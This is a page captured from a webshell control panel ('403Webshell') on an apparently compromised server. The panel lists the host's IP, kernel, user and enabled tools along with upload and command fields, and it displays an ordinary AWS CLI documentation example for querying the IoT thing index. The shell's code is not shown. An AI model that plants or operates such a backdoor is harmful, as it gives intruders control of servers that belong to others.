403Webshell
Server IP : 167.99.254.82  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux host.techisquad.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : pawluxera ( 1011)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/awscli/examples/iot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/awscli/examples/iot/search-index.rst
**To query the thing index**

The following ``search-index`` example queries the ``AWS_Things`` index for things that have a type of ``LightBulb``. ::

    aws iot search-index \
        --index-name "AWS_Things" \
        --query-string "thingTypeName:LightBulb"

Output::

    {
        "things": [
            {
                "thingName": "MyLightBulb",
                "thingId": "40da2e73-c6af-406e-b415-15acae538797",
                "thingTypeName": "LightBulb",
                "thingGroupNames": [
                    "LightBulbs",
                    "DeadBulbs"
                ],
                "attributes": {
                    "model": "123",
                    "wattage": "75"
                },
                "connectivity": {
                    "connected": false
                }
            },
            {
                "thingName": "ThirdBulb",
                "thingId": "615c8455-33d5-40e8-95fd-3ee8b24490af",
                "thingTypeName": "LightBulb",
                "attributes": {
                    "model": "123",
                    "wattage": "75"
                },
                "connectivity": {
                    "connected": false
                }
            },
            {
                "thingName": "MyOtherLightBulb",
                "thingId": "6dae0d3f-40c1-476a-80c4-1ed24ba6aa11",
                "thingTypeName": "LightBulb",
                "attributes": {
                    "model": "123",
                    "wattage": "75"
                },
                "connectivity": {
                    "connected": false
                }
            }
        ]
    }

For more information, see `Managing Thing Indexing <https://docs.aws.amazon.com/iot/latest/developerguide/managing-index.html>`__ in the *AWS IoT Developer Guide*.

Youez - 2016 - github.com/yon3zu
LinuXploit